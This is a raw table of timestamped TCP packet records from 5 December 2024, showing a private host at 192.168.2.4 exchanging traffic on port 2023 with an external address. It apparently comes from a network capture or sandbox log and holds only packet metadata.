Dec 5, 2024 10:47:12.819904089 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.827888012 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.827960014 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.828032970 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.835942984 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.836097956 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.836163998 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.844072104 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.891083002 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.909565926 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.909683943 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.909740925 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.912750959 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.912822962 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.912870884 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.918732882 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.920950890 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.921010971 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.921081066 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.927247047 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.927310944 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.927335024 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.933252096 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.933340073 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.933423996 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.939050913 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.939065933 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.939127922 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.944628000 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.944653034 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.944700956 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.949969053 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.950042009 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.950129986 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.955425024 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.955439091 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.955524921 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.960649967 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.960715055 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.960758924 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.965708971 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.965751886 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.965768099 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.970794916 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.970870018 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.970885992 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.975883961 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.975955009 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.976083040 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.980987072 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.981048107 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.981102943 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.986054897 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.986124039 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.986176968 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.991226912 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.991293907 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.991298914 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.996202946 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.996268034 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.996323109 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.001491070 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.001564026 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.001578093 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.006375074 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.006442070 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.006510973 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.011466980 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.011531115 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.011554003 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.016614914 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.016679049 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.016721964 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.021640062 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.021682978 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.021712065 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.062921047 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.242707014 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.362591028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.362659931 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.484508038 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.774740934 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.775187969 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.775238991 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.775320053 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.777510881 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.777563095 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.778114080 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.778245926 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.778285027 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.780828953 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.780937910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.780975103 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.782674074 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.782787085 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.782828093 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.785404921 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.785518885 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.785562992 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.788177013 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.788306952 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.788352966 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.791014910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.791090965 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.791135073 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.793730021 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.793792963 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.793833017 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.796603918 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.796658039 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.796691895 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.799355984 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.799598932 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.799650908 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.801996946 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.802128077 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.802171946 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.804785013 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.804858923 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.804896116 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.807554007 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.807660103 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.807698011 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.810340881 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.810460091 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.810492039 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.813075066 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.813195944 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.813239098 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.815809965 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.815917969 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.815958023 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.818572044 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.818706989 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.818742037 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.821329117 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.821399927 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.821439981 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.824132919 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.824253082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.824290991 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.826953888 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.827050924 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.827092886 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.829636097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.829709053 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.829749107 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.832554102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.832820892 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.832863092 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.835326910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.835422993 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.835463047 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.838078022 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.838263035 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.838299036 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.840703964 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.840842009 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.840883970 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.843470097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.843661070 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.843704939 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.846291065 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.846374035 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.846416950 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.849194050 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.849286079 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.849327087 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.851897001 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.852008104 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.852047920 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.854625940 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.854733944 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.854775906 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.857328892 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.857682943 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.857722044 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.860146999 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.860202074 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.860240936 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.862879992 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.862955093 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.863001108 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.865650892 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.865737915 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.865780115 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.868315935 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.868437052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.868479967 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.871171951 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.871295929 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.871341944 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.873939991 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.874085903 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.874133110 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.876677036 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.876848936 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.876893997 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.879496098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.879558086 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.879605055 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.882180929 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.882302999 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.882347107 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.885056973 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.885174036 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.885215998 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.888250113 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.888344049 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.888403893 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.890489101 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.890618086 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.890664101 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.895420074 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.895437002 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.895478964 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.896122932 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.896269083 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.896321058 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.898709059 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.898777008 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.898827076 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.901463985 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.901490927 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.901537895 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.904273987 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.904514074 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.904567003 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.907036066 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.953521967 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.967468977 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.967540979 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.967582941 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.969067097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.969085932 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.969136953 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.971066952 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.972913027 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.972929955 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.972959042 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.974364042 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.974404097 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.974405050 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.976753950 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.976799011 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.976823092 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.979034901 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.979100943 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.979111910 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.981298923 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.981352091 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.981394053 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.983630896 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.983684063 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.983722925 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.985800982 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.985862970 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.985909939 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.988058090 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.988141060 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.988164902 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.990098953 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.990149021 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.990221024 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.992202044 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.992254972 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.992302895 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.994333029 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.994419098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.994420052 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.996463060 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.996525049 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.996536970 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.998456001 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:13.998518944 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:13.998527050 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.047292948 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.133444071 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.253882885 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.254013062 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.373933077 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.663840055 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.664169073 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.664186001 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.664295912 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.664793015 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.664849997 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.664896965 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.665426970 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.665477037 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.665476084 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.666342974 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.666440010 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.666496038 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.666896105 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.667002916 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.667047977 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.667901993 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.668178082 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.668229103 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.668670893 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.668720961 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.668732882 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.669454098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.669504881 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.669642925 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.670351982 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.670387983 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.670454979 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.671308041 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.671359062 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.671407938 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.672189951 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.672276974 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.672305107 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.673158884 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.673207045 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.673295021 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.674422979 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.674434900 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.674464941 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.675121069 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.675163031 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.675221920 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.676019907 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.676060915 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.676089048 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.676940918 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.676989079 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.677031040 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.677879095 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:14.677922964 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:14.677985907 CET	2023	49778	45.149.241.141	192.168.2.4
